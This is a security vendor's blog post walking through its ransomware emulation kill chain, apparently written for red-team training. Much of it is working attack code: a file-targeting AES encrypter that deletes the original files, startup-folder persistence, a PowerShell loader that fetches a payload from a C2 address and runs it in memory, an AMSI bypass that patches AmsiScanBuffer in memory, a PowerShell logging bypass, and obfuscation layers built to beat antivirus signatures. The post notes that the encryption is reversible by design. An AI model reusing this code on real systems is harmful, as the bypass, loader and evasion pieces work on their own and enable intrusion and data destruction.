Overview
Ransomware is here to stay and cyber security professionals need to be trained to prevent, detect, respond, and recover from ransomeware attacks. So, how do we do that in an ethical and repeatable way?
This post will walk through how SpecterInsight’s ransomware emulation capability works and give insight into the inner workings of a full ransomware deployment kill chain.
The tools used in this post include:
Killchain
Overview
The image below depicts how the SpecterInsight Ransomware Emulation SpecterScript works and outlines the techniques used at each step. At a high level, the kill chain starts when an operator tasks a Specter running in the target environment to deploy the ransomware script. The script either generates a target list from Active Directory or uses an operator provided target list. It scans the network to identify reachable targets. It removes the local system from the target list so that you don’t frag your only foothold in the network.
Once the target list is built, the script pulls a payload from the C2 server. The payload is obfuscated on the C2 server and an AMSI bypass is inserted to evade AV interference.
The script then attempts to run the payload remotely on each reachable target using either WMI, Scheduled Tasks, or the Windows Service Control Manager.
On each target, the payload will reach out to the C2 server and pull down the full payload in memory. Once the ransomware payload executes, it finds all potentially interesting files and begins encrypting them using AES 256. It then deleted the original file. This step is multi-threaded to speed up execution.
Finally, the Ransom Message application is dropped to disk and run to inform the user that they’re a victim of ransomware.
MITRE ATT&CK
The following MITRE ATT&CK techniques are used during this kill chain:
- T1046 – Network Service Enumeration: this technique is leveraged to quickly identify running systems from the target list in order to speed up the kill chain.
- T1018 – Remote System Discovery: this technique is used to identify targets by querying Active Directory for domain connected computer names when using the scripts auto-target mode.
- T1016 – System Network Configuration Discovery: the script uses this technique to remove itself from the target list.
- T1027.005 – Obfuscated Files or Information Indicator Removal from Tools: this technique is used for defense evasion for bypassing automated defenses such as the installed AV.
- T1059.001 – Command and Scripting Interpreter PowerShell: this technique is used when distributing the ransomware as a lightweight loader that downloads and executes the ransomware payload.
- TA1021 – Remote Services:
- TA1021.006 – Remote Services Windows Remote Management: this is one possible technique the script will use to execute the payload on each target.
- T1053.005 – Scheduled Task: this is one possible technique the script will use to execute the payload on each target.
- T1543 – Create or Modify System Process Windows Service: this is one possible technique the script will use to execute the payload on each target.
- T1569.002 – System Services Service Execution: this is related to the previous technique and is just the execution component.
- T1078 – Valid Accounts: all of the distribution techniques require the use of valid accounts, either domain or local.
Ethical Considerations
We are always concerned about mitigating the malicious use of our software, but ransomware is particularly tricky. We want to demonstrate realistic behavior without building something that could immediately be turned around and used to wreak havoc. To mitigate malicious use of this feature, the payload encrypts files with reversible encryption and stores the symmetric key with each encrypted file, thus making it trivial to decrypt and recover the data. Additionally, we provide a decrypter that will fully recover any system and does not require a ransom be paid.
Even if a threat actor gained access to our software, they would need to roll their own encryption mechanism, build their own encrypter, and create a new ransom message application to make this kill chain work for any real world scenario… which negates most of the reason for using this product if you have to do all the work yourself anyway. Our goal is that a threat actor gains nothing more from stealing our product than cloning an open source C2 framework off of GitHub.
Components
This kill chain is broken down into four different components each with different responsibilities.
- Encrypter: This component is the primary payload that is responsible for finding and encrypting files on the system it runs on. This is effectively the ransomware. Once encryption is complete, it drops the Ransom Message to disk and runs the program to inform the current user that that they’ve been hacked.
- Loader: The loader is responsible for bypassing defenses, downloading the encrypter from the C2 server, and running it.
- Ransom Message / Decrypter: This component is responsible for displaying the ransom message and decrypting files once the ransom has been paid.
- Deployment Script: This script is responsible for identifying reachable targets, downloading the payload, and deploying the payload to all reachable targets.
Encrypter
The encrypter is a .NET Framework 2.0 compatible console application that finds and encrypts files using AES 256 with a dynamically generated symmetric key. It performs all of the standard behavior you would expect from a ransomware payload. It operates on a file by file basis and uses multi-threading to accelerate encryption. Once a legitimate file is encrypted, the encrypted version is saved to disk with a custom file extension and the original file is deleted. Additionally, the decryption keys are stored with the encrypted file so that the original data can be easily recovered.
We’ll break this program down into several pieces and look at each one in detail.
Identifying Files
The first step in the encrypter is to identify a list of files to encrypt.
We don’t want to encrypt every file because that would be slow and potentially damaging to the machine, so we added a hard coded set of file extensions to target. I would like to make this a configurable option in the future, but this will do for now.
private static readonly string[] Extensions = new string[] { ".doc", ".docx", ".xls", ".xlsx", ".xlsb", ".ppt", ".pptx", ".odt", ".ods", ".odp",
".sql", ".mdb", ".accdb", ".jpg", ".jpeg", ".png", ".gif", ".bmp", ".tif",
".mp3", ".mp4", ".avi", ".mov", ".wmv", ".zip", ".rar", ".bak", ".iso", ".7z", ".json",
".vmdk", ".vhd", ".vhdx", ".py", ".java", ".cpp", ".h", ".php", ".js", ".cs", ".css", ".md",
".asp", ".aspx", ".ps1", ".vbs", ".bak", ".backup", ".log", ".pdf", ".txt", ".rtf", ".csv"
};
Next, we need to find all of the files we want to encrypt. Unfortunately, .NET 2.0 does not have a good way to search for files recursively. It provides a method that looks promising called Directory.GetFiles that takes in a path, a pattern filter, and an option for searching either the top level directory only, or all directories. The reason why this method won’t work is because it breaks if an exception is thrown at any point during the search. For example, if someone changed permissions on a directory to only allow read access to themselves, this search would raise an exception. Additionally, this method only takes in one filter pattern and I want to match on dozens of different extensions. The pattern language doesn’t support an OR operation, so I would have to pull all files that have extensions and manually filter them. Not a show stopper, but it is a consideration.
So, we have to write our own method to search for files in a recursive manner and ignore any exceptions. I start by creating a case insensitive dictionary of extensions to speedup matching. I use a queue to store directories that I need to search and add the top level directory to it. The I loop until the queue is empty and pull one directory at a time. I add sub-directories to the queue first. Then for each file in the current directory that has an extension, I check to see if the extension is on the target list. If so, then I add that file to the results.
public static void FindFiles(string path, IEnumerable<string> extensions, List<string> files) {
Queue<string> directories = new Queue<string>();
//Build a case-insensitive lookup table of file extensions
Dictionary<string, string> table = new Dictionary<string, string>(StringComparer.InvariantCultureIgnoreCase);
foreach(string extension in extensions) {
if (!table.ContainsKey(extension)) {
table.Add(extension, extension);
}
}
directories.Enqueue(path);
while(directories.Count > 0) {
string currentDirectory = directories.Dequeue();
//Queue sub-directories, ignore errors
try {
foreach(string directory in Directory.GetDirectories(currentDirectory)) {
directories.Enqueue(directory);
}
} catch { }
//Search files, ignore errors
try {
foreach (string file in Directory.GetFiles(currentDirectory, "*.*", SearchOption.TopDirectoryOnly)) {
string extension = Path.GetExtension(file);
if(table.ContainsKey(extension)) {
files.Add(file);
}
}
} catch { }
}
}
Encryption Method
Before I can encrypt anything, I need to instantiate a symmetric encryption algorithm. The .NET Framework has classes for AES-256, but there are two versions: (1) Rijndael and (2) Aes. Rijndael is the OG method in .NET 2.0, but was deprecated in future releases and will not run without .NET 2.0 installed. I cannot guarantee that .NET 2.0 will be on every system, so I have to plan for both cases. The Aes class wasn’t released until .NET 3.5. In order to support all possible platforms 2.0 and above, I leveraged reflection to check for the existence of the newer class first, followed by the older class. I then instantiate the class by calling the static Create method with no arguments.
private static SymmetricAlgorithm GetSymmetricAlgorithm() {
Type type = typeof(ICryptoTransform).Assembly.GetType("System.Security.Cryptography.Aes");
if(type == null) {
type = typeof(ICryptoTransform).Assembly.GetType("System.Security.Cryptography.Rijndael");
}
if(type == null) {
throw new InvalidOperationException();
}
MethodInfo create = type.GetMethod("Create", new Type[0], new ParameterModifier[0]);
if(create == null) {
throw new InvalidOperationException();
}
SymmetricAlgorithm algorithm= (SymmetricAlgorithm)create.Invoke(null, new object[0]);
return algorithm;
}
In order to synchronize the encryption threads, I threw together a simple concurrent queue to allow the worker threads to pull new files to encrypt without duplicating effort or stomping on each other. It doesn’t need to support an enqueue method, so I don’t implement one. The less code, the better.
internal class ConcurrentQueue {
public ConcurrentQueue(string[] items) {
this._items = items;
}
public bool TryDequeue(out string item) {
int index = Interlocked.Increment(ref this._index);
if(index >= this._items.Length) {
item = null;
return false;
}
item = this._items[index];
return true;
}
private string[] _items;
private int _index = -1;
}
We’ll need a way to provide input to each encryption thread. In this case, each thread needs a copy of the concurrent queue, the key, and the IV. I put together a simple storage class.
internal class ThreadedInput {
public byte[] Key { get; }
public byte[] IV { get; }
public ConcurrentQueue Queue { get; }
public string Extension { get; }
public ThreadedInput(byte[] key, byte[] iV, ConcurrentQueue queue, string extension) {
this.Key = key;
this.IV = iV;
this.Queue = queue;
this.Extension = extension;
}
}
Next, I implemented a concurrent method for processing files stored in a thread safe queue. While the queue is not empty, the current thread pulls a new file, encrypts it, and tries to delete the original.
private static void Run(ThreadedInput input) {
using (SymmetricAlgorithm aes = Program.GetSymmetricAlgorithm()) {
aes.Key = input.Key;
aes.IV = input.IV;
using (ICryptoTransform encryptor = aes.CreateEncryptor()) {
while (input.Queue.TryDequeue(out string path)) {
try {
byte[] plaintext = File.ReadAllBytes(path);
byte[] ciphertext = Program.Encrypt(encryptor, plaintext, input.Key, input.IV);
string outpath = path + input.Extension;
File.WriteAllBytes(outpath, ciphertext);
File.Delete(path);
} catch { }
}
}
}
}
The actual encryption mechanism is pretty straight forward. It creates a MemoryStream and writes the key and initialization vector to the stream unencrypted. It then runs the ICryptoTransform over the fie contents and appends that to the MemoryStream. This results in a byte array containing key, IV, and encrypted file.
private static byte[] Encrypt(ICryptoTransform encryptor, byte[] plaintext, byte[] key, byte[] iv) {
//Create the streams used for encryption
using (MemoryStream ms = new MemoryStream()) {
//Store the key + iv for easy decryption without paying ransom
ms.Write(key, 0, key.Length);
ms.Write(iv, 0, iv.Length);
using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write)) {
//Write the bytes to the crypto stream
cs.Write(plaintext, 0, plaintext.Length);
cs.FlushFinalBlock();
}
//Return the encrypted bytes from the memory stream
return ms.ToArray();
}
}
Display the Ransom Message
Once the encryption is complete, the program drops the ransom message binary to disk and creates a LNK file in the all users Startup directory so that the ransom message program runs whenever anyone logs in. Finally, it reboots the computer to disconnect all users and force them to re-login.
There are a lot of methods that I could use to embed the ransom message. I opted to compress the binary with GZip, Base64 encode it, and embed it as a string. The reason I went with this option is to (1) reduce its size with GZip and (2) the obfuscation method I use operates on C# source code and it performs better when there are less tokens. It would have been more efficient to embed an array of bytes from a file size perspective, but creating 30k tokens has a more significant impact when we go to obfuscate the source code later.
The method to the right decodes and decompresses the ransom message binary stored in the string Program.Message. The Base64 string is not included here for brevity.
Once the program is extracted, it can be written to a file using File.WriteAllBytes. For now, we just drop it to C:\ProgramData\.
private static byte[] GetMessagePayload() {
byte[] contents = Convert.FromBase64String(Program.Message);
using (MemoryStream ms = new MemoryStream(contents)) {
using (GZipStream gzs = new GZipStream(ms, CompressionMode.Decompress)) {
using (MemoryStream oms = new MemoryStream()) {
byte[] buffer = new byte[1024];
int bytesRead = 0;
while ((bytesRead = gzs.Read(buffer, 0, buffer.Length)) > 0) {
oms.Write(buffer, 0, bytesRead);
}
return oms.ToArray();
}
}
}
}
Once the ransom message is dropped to disk, we need to make it persistent so that it runs on any user login. There are a few options we could choose from here. Ultimately, I settled on a simple LNK file in the global startup directory. I will summarize the other options and why I didn’t go with them:
- Scheduled Task: It appears to be possible to schedule a task that runs under “Authenticated Users” so any user, local or domain, would trigger it on login, but it doesn’t appear that schtasks.exe supports that. It might be possible with the API, but I didn’t want to add a lot more code or dependencies. I want to keep the payload as simple and compact as possible.
- Run Keys: It is possible to access each user’s registry hive and insert an entry to run the ransom message, but this won’t work for new users or domain users that don’t have a profile on the current system.
- Any Mechanism That Runs Under NT AUTHORITY\SYSTEM: It is possible to run a process under the windows station of a logged on user from a process running as SYSTEM, but I would have to add a bunch of P\Invoke code to do that. Additionally, I would have to add code that waits for user logons and then triggers the ransom message. That was more work than it was worth and it adds a lot of code and some complexity.
- Group Policy: You can configure almost any type of persistence using group policy objects. It would also solve the issue of applying persistence techniques to new user logins such as the Run Key method mentioned above, but this GPOs aren’t supported on Windows Home edition. I want to maximize compatibility, so I didn’t select this method.
Then I remembered the global startup directory. This method ensures that our ransom message payload will run on any user login, even if the did not previously have a profile. Unfortunately, this method would also try to run the .config file that has to sit in the same directory as ransom message executable which then generates an annoying popup to the user that will display in front of the ransom message. So, I would need to drop the ransom message executable in a separate directory and place a LNK file in the startup directory. Fortunately, it’s also easy to define an interface to the COM object for creating LNK files, so I don’t have to add a bunch of code and there are no additional dependencies.
To implement this persistence technique, I added a method to the Utility class for creating a basic shortcut pointing to an executable on disk. I then added definitions for the IShellLink interface based off of the Microsoft documentation. The GUIDS were lulled from this page.
With the type definitions in place, we can simple instantiate the ShellLink object and typecast it to the IShellLink interface. We can now call any of the methods in that interface, namely SetPath and SetDescription.
Finally, we type cast our link object to an IPersistFile interface, which is already defined in mscorlib, to call the Save method. That call will generate a properly formatted LNK file pointing to whatever path we want.
public static class Utility {
public static void CreateShortcut(string path, string target) {
IShellLink link = (IShellLink)new ShellLink();
//Setup shortcut information
link.SetDescription("Decryptor");
link.SetPath(target);
//Save it
IPersistFile file = (IPersistFile)link;
file.Save(path, false);
}
[ComImport]
[Guid("00021401-0000-0000-C000-000000000046")]
internal class ShellLink {
}
[ComImport]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[Guid("000214F9-0000-0000-C000-000000000046")]
internal interface IShellLink {
void GetPath([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszFile, int cchMaxPath, out IntPtr pfd, int fFlags);
void GetIDList(out IntPtr ppidl);
void SetIDList(IntPtr pidl);
void GetDescription([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszName, int cchMaxName);
void SetDescription([MarshalAs(UnmanagedType.LPWStr)] string pszName);
void GetWorkingDirectory([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszDir, int cchMaxPath);
void SetWorkingDirectory([MarshalAs(UnmanagedType.LPWStr)] string pszDir);
void GetArguments([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszArgs, int cchMaxPath);
void SetArguments([MarshalAs(UnmanagedType.LPWStr)] string pszArgs);
void GetHotkey(out short pwHotkey);
void SetHotkey(short wHotkey);
void GetShowCmd(out int piShowCmd);
void SetShowCmd(int iShowCmd);
void GetIconLocation([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pszIconPath, int cchIconPath, out int piIcon);
void SetIconLocation([MarshalAs(UnmanagedType.LPWStr)] string pszIconPath, int iIcon);
void SetRelativePath([MarshalAs(UnmanagedType.LPWStr)] string pszPathRel, int dwReserved);
void Resolve(IntPtr hwnd, int fFlags);
void SetPath([MarshalAs(UnmanagedType.LPWStr)] string pszFile);
}
}
Loader
The loader is a PowerShell script that will be deployed from a Specter to run on each system in the target environment. The script itself contains defense evasion techniques to securely load the encrypter. It then downloads the encrypter and reflectively loads the module. It then calls the main method to initiate the payload. The unobfuscated script looks like this:
The first snippet of the script dynamically compiles a small C# class that disables SSL/TLS certificate validation in case the server is using self-signed certificates.
Add-Type @"
using System.Net;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;
public static class CertificateValidator {
private static bool OnValidateCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) {
return true;
}
public static void OverrideValidation() {
ServicePointManager.ServerCertificateValidationCallback = CertificateValidator.OnValidateCertificate;
}
}
"@
[CertificateValidator]::OverrideValidation();
The next snippet downloads the obfuscated ransomware payload which is a .NET 2.0 compatible executable. If the download fails, or nothing is downloaded, the script exits.
$client = New-Object System.Net.WebClient;
$contents = $client.DownloadData("https://192.168.1.101/static/remote/documents?kind=26");
if($contents -eq $null) {
exit;
}
The last snippet reflectively loads the .NET executable as a module from the byte array we downloaded in the last step. Then it invokes the entry point method with an empty array of strings.
$module = [System.Reflection.Assembly]::Load($contents);
$parameters = [object[]]@(,[string[]]@());
$module.EntryPoint.Invoke($null, $parameters);
Defense Evasion
Defense evasion is absolutely critical to a repeatable kill chain. If we write a single, static payload, we can probably get it working against various AVs, but that payload is going to get signaturized real fast and become unusable. So, how do we integrate defense evasion into the payload generation pipeline? We can leverage the SpectersInsight obfuscation pipeline so that every time we employ this technique, we have a brand new, non-signaturized payload with a high probability of successful evasion.
We also need to bypass defenses such as the Antimalware Scan Interface (AMSI) to mitigate AV interference. This is done by using API call hooking to disable the AmsiScanBuffer method of AMSI.dll.
PowerShell Obfuscation
SpecterInsight provides an obfuscation graph feature where by different PowerShell code transforms can be applied to a PowerShell script in order to generate unique payloads on every execution of the obfuscation graph. The diagram below outlines the obfuscation graph constructed for the Ransomware Simulation pipeline:
This is the main PowerShell obfuscation pipeline we leveraged for the Ransomware loader script. The code to the right is the actual implementation. This method takes in a PowerShell script and applies an obfuscation graph where each node in the graph is an obfuscation technique.
We’ll take a look at each node in detail.
public string ApplyPowerShellObfuscation(string original) {
InvokeMemberExpressionAstTransform memberExpressions = new InvokeMemberExpressionAstTransform();
memberExpressions.Filters = new string[] { "^.*specter.*$", "^.*AmsiUtils.*$", "^.*System.Runtime.InteropServices.Marshal.*$" };
AmsiBypassPatchInMemory amsi = new AmsiBypassPatchInMemory();
LoggingBypassCachedPolicy logging = new LoggingBypassCachedPolicy();
CombineMultiTransform combine = new CombineMultiTransform();
RemoveCommentsTokenTransform comments = new RemoveCommentsTokenTransform();
VariableNameTransform variables = new VariableNameTransform();
StringTransform strings = this.GetRandomStringTransform();
string modified = memberExpressions.Evaluate(original);
string bypass = amsi.Evaluate();
string logbypass = logging.Evaluate();
string current = combine.Evaluate(bypass, logbypass, modified);
current = comments.Evaluate(current);
current = variables.Evaluate(current);
current = strings.Evaluate(current);
return current;
}
The first layer obfuscates member expressions. Many AV signatures look for references to specific types such as System.Management.Automation.AmsiUtils. This is an internal class that is commonly referenced by malware to bypass AMSI. Because it is an internal class, there is almost no legitimate reason to reference that class making it a good string to create a detection rule off of. The InvokeMemberExlressionAstTransform converts an explicit type reference to reflection reference using a string. We later obfuscate this string with the StringTransform class in a subsequent layer.
[SpecterInsight.Agent]::Initialize()
[System.Reflection.Assembly]::GetAssembly('SpecterInsight.Agent').GetType('SpecterInsight.Agent').GetMethod('Initialize').Invoke($null, $null)
The AmsiBypassPatchInMemory layer yields an AMSI bypass in the beginning of the script. The bypass works by overwriting the contents of the Amsi.dll::AmsiScanBuffer function in memory using dynamically generated .NET code. The code for this is shown to the right. We insert the bypass early in the obfuscation stack so that the subsequent layers mitigate AV signatures for this bypass technique.
This code is only relevant to PowerShell version 3.0 or higher as the AMSI did not exist in earlier versions. Normally, PowerShell does not have direct access to low level Win32 API calls, so the majority of this code is focused around acquiring the means to directory call three Win32 API methods: (1) GetModuleHandle, (2) GetProcAddress, and (3) VirtualProtect.
The first block of code dynamically generates a .NET class that exposes P/Invoke method to access VirtualProtect.
The next block uses reflection to find the class Microsoft.Win32.UnsafeNativeMethods which already contains the other two methods we need. It then acquires a MethodInfo object for both GetModuleHandle and GetProcAddress. Note that all references to these methods are either strings or variable names we can obfuscate later.
The next block finds the location in memory where AMSI.dll::AmsiScanBuffer exists. This is the method that allows PowerShell to submit scripts, commands, and .NET modules to the installed AV for scanning.
With the address of AmsiScanBuffer, the last block overwrites the function with some machine instructions to always return AMSI_RESULT_NOT_DETECTED.
Note that patch values themselves are manually obfuscated here to mitigate AV signatures for the original patch values.
if($PSVersionTable.PSVersion.Major -gt 2) {
$DynAssembly = New-Object System.Reflection.AssemblyName("Win32")
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)
$TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
"kernel32.dll",
[Reflection.FieldInfo[]]@($SetLastError),
@($True))
# Define [Win32.Kernel32]::VirtualProtect
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect",
"kernel32.dll",
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[IntPtr],
[Type[]]@([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32 = $TypeBuilder.CreateType()
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split("\\")[-1].Equals("System.dll") }
$UnsafeNativeMethods = $SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods")
$GetModuleHandle = $UnsafeNativeMethods.GetMethod("GetModuleHandle")
$GetProcAddress = $UnsafeNativeMethods.GetMethod("GetProcAddress", [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
$Kern32Handle = $GetModuleHandle.Invoke($null, "amsi.dll")
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
$left = "AmsiSc"
$right = "anBuffer"
$address = $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef,($left + $right)))
$p = 0
[void]$Kernel32::VirtualProtect($address, [UInt32]5, 0x40, [ref]$p)
$offset = [Byte[]](12, 22, 2, 17, 18, 11)
$patch = [Byte[]](196, 109, 2, 24, 146, 206)
for($i = 0; $i -lt $patch.Length; $i++) {
$patch[$i] -= $offset[$i]
}
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $address, 6)
}
The LoggingBypassCachedPolicy layer generates a PowerShell script that disables PowerShell logging by modifying cached group policy settings using reflection. This is the unobfuscated version.
try {
$key1 = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
$key2 = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging"
$key3 = "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription"
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings[$key1] = @{}
$settings[$key1].Add("EnableScriptBlockLogging", '0')
$settings[$key2] = @{}
$settings[$key2].Add("EnableModuleLogging", '0')
$settings[$key3] = @{}
$settings[$key3].Add("EnableTranscripting", '0')
} catch { }
The next layer simply combines the AMSI bypass, logging bypass, and ransomware loader script together. The layer after that removes comments. I like embed comments my payload source code, mainly because I forget how it works later on down the road, but I don’t want those comments in my final payload. Microsoft actually has AV signatures for some PowerShell comments found in malicious scripts. The RemoveCommentsTokenTransform cleans all of that up.
The VariableNameTransform layer does what it says, it renames variables. The default variable name generator is based off of some research I did for another project where I scraped thousands of Github repositories to identify the most commonly used variable nanes across all projects that did not contain malicious code. I then removed special variable names such as $_, $Input, $PSVersionTable, etc to make the final list. When applied to a input script, this transform identifies all non-special variables and randomly selects a variable name from the pre-generated list described above.
The code to the right demonstrates the effect of this transform.
try {
$key1 = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
$key2 = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging"
$key3 = "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription"
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings[$key1] = @{}
$settings[$key1].Add("EnableScriptBlockLogging", '0')
$settings[$key2] = @{}
$settings[$key2].Add("EnableModuleLogging", '0')
$settings[$key3] = @{}
$settings[$key3].Add("EnableTranscripting", '0')
} catch { }
try {
$accesstoken = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
$dir = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging"
$ensure = "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription"
$packagename = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$packagename[$accesstoken] = @{}
$packagename[$accesstoken].Add("EnableScriptBlockLogging", '0')
$packagename[$dir] = @{}
$packagename[$dir].Add("EnableModuleLogging", '0')
$packagename[$ensure] = @{}
$packagename[$ensure].Add("EnableTranscripting", '0')
} catch { }
The StringTransform layer supports a variety of techniques incuding: reverse string, string formatting, string concatenation, and a few others. The example to the right demonstrates the effect of the StringFormatTransform technique. The string splits are randomized each time, so that you get a different script with different substrings each iteration.
try {
$key1 = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
$key2 = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging"
$key3 = "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription"
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings[$key1] = @{}
$settings[$key1].Add("EnableScriptBlockLogging", '0')
$settings[$key2] = @{}
$settings[$key2].Add("EnableModuleLogging", '0')
$settings[$key3] = @{}
$settings[$key3].Add("EnableTranscripting", '0')
} catch { }
try {
$key1 = [string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}{12}{13}{14}{15}{16}{17}{18}{19}{20}{21}{22}{23}{24}{25}{26}{27}{28}","HK","EY","_","LOCA","L_MA","CHI","N","E","\S","oftw","ar","e\P","oli","c","ies\","Micr","oso","ft\","Win","dow","s\Po","werS","hell","\Scr","i","ptBl","ockL","ogg","ing")
$key2 = [string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}{12}{13}{14}{15}{16}{17}{18}{19}{20}{21}{22}{23}{24}{25}{26}{27}{28}{29}{30}","HKE","Y_LO","CA","L_","MAC","HI","NE\","Sof","twar","e\P","ol","icie","s","\Mi","cros","o","ft\","Wi","nd","o","ws\","P","owe","r","She","ll","\Mo","dul","eL","oggi","ng")
$key3 = [string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}{12}{13}{14}{15}{16}{17}{18}{19}{20}{21}{22}{23}{24}{25}{26}{27}{28}{29}{30}{31}{32}{33}{34}{35}{36}","HKEY","_LO","CA","L_MA","C","HINE","\","S","OFT","W","A","RE\","Wow6","43","2No","de\P","o","lici","es\","Mi","cro","so","ft\","W","in","do","ws","\Pow","er","She","l","l\","T","rans","cr","ip","tion")
$settings = [Ref].Assembly.GetType(([string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}{10}{11}","Syst","em.M","a","na","ge","ment",".Aut","om","at","ion",".Ut","ils"))).GetField(([string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}{9}","cac","hed","Gro","upP","ol","ic","yS","etti","n","gs")),([string]::format("{0}{1}{2}{3}{4}","Non","Pub","li","c,St","atic"))).GetValue($null);
$settings[$key1] = @{}
$settings[$key1].Add(([string]::format("{0}{1}{2}{3}{4}{5}{6}{7}{8}","Enab","leSc","rip","t","Bloc","kL","oggi","n","g")), '0')
$settings[$key2] = @{}
$settings[$key2].Add(([string]::format("{0}{1}{2}{3}{4}{5}{6}{7}","En","a","b","leM","odu","leL","oggi","ng")), '0')
$settings[$key3] = @{}
$settings[$key3].Add(([string]::format("{0}{1}{2}{3}{4}{5}{6}","Ena","bleT","ran","s","cr","ipt","ing")), '0')
} catch { }
That covers the defense evasion techniques baked into the PowerShell payload. Together, these techniques build a ransomware loader with an embedded AMSI bypass and logging bypass that is resistent to AV detection an signaturization due to the obfuscation pipeline applied to it. Ultimately, you get a unique script every time you generate a new payload.
C# Obfuscation
We apply a similar obfuscation process to the Encrypter, which is written in C#. SpecterInsight provides built-in C# obfuscation capabilities using the Roslyn parser and re-writer library.
This is the primary obfuscation stack used to generate the Encrypter itself. The method takes in the source code for a C# program and applies a stack of different C# obfuscation methods.
We’ll go over each one in detail.
public string ApplyCSharpObfuscation(string code) {
//Source code obfuscation graph
CSharpAstTransform[] transforms = new CSharpAstTransform[] {
new CSharpAmsiBypassHooking(),
new CSharpStringVaultTransform() {
Technique = CSharpStringVaultTransformTechnique.Random
},
new CSharpClassMemberShufflerTransform(),
new CSharpVariableNameTransform(),
new CSharpMethodNameTransform(),
new CSharpClassNameTransform(),
new CSharpNamespaceNameTransform()
};
return this.ApplyCSharpObfuscation(code, transforms);
}
The first layer is the CSharpAmsiBypassHooking transform. This method inserts an AMSI bypass written in C# into the program along with a function call in the main method to execute the bypass.
This bypass works in a very similar way to the previous bypass.
The code to the right demonstrates the effect of this obfuscation layer on a basic program.
using System;
namespace Example {
public class Program {
public static void Main() {
string message = "Hello world!";
Console.WriteLine(message);
}
}
}
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
namespace Example {
public class Program {
public static void Main() {
Bypass2.Apply();
string message = "Hello world!";
Console.WriteLine(message);
}
}
public class Bypass2 {
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate bool Test(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate IntPtr Load(string name);
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
public static void Apply() {
IntPtr library = Bypass2.LoadLibrary("kernel32.dll");
IntPtr virtualProtect = Bypass2.GetProcAddress(library, "VirtualProtect");
Test vprot = (Test)Marshal.GetDelegateForFunctionPointer(virtualProtect, typeof(Test));
IntPtr loadLibrary = Bypass2.GetProcAddress(library, "LoadLibraryA");
Load load = (Load)Marshal.GetDelegateForFunctionPointer(loadLibrary, typeof(Load));
